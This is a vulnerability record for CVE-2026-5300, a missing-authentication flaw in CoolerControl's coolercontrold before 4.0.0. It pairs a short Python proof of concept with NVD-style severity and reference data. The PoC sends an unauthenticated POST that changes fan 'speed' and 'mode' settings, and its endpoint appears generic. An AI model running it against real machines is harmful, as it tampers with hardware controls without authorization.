CVE-2026-5300

import requests def exploit_poc(target_ip): # Target endpoint for sensitive data modification url = f"http://{target_ip}:5000/api/v1/control" headers = {"Content-Type": "application/json"} # Malicious payload to change settings payload = {"speed": 100, "mode": "dangerous"} try: # Send unauthenticated request response = requests.post(url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] PoC Successful: Sensitive data modified without authentication.") print("[+] Response:", response.text) else: print("[-] PoC Failed: Status code", response.status_code) except Exception as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": exploit_poc("127.0.0.1")

{"cve": {"id": "CVE-2026-5300", "sourceIdentifier": "[email protected]", "published": "2026-04-08T13:16:43.123", "lastModified": "2026-04-16T00:58:33.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthenticated functionality in CoolerControl/coolercontrold <4.0.0 allows unauthenticated attackers to view and modify potentially sensitive data via HTTP requests"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coolercontrol:coolercontrold:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.0", "matchCriteriaId": "058074F8-B65C-4417-A5A1-9746DF8E3B12"}]}]}], "references": [{"url": "https://gitlab.com/coolercontrol/coolercontrol/-/blob/3.1.1/coolercontrold/src/api/router.rs?ref_type=tags", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/coolercontrol/coolercontrol/-/releases/4.0.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}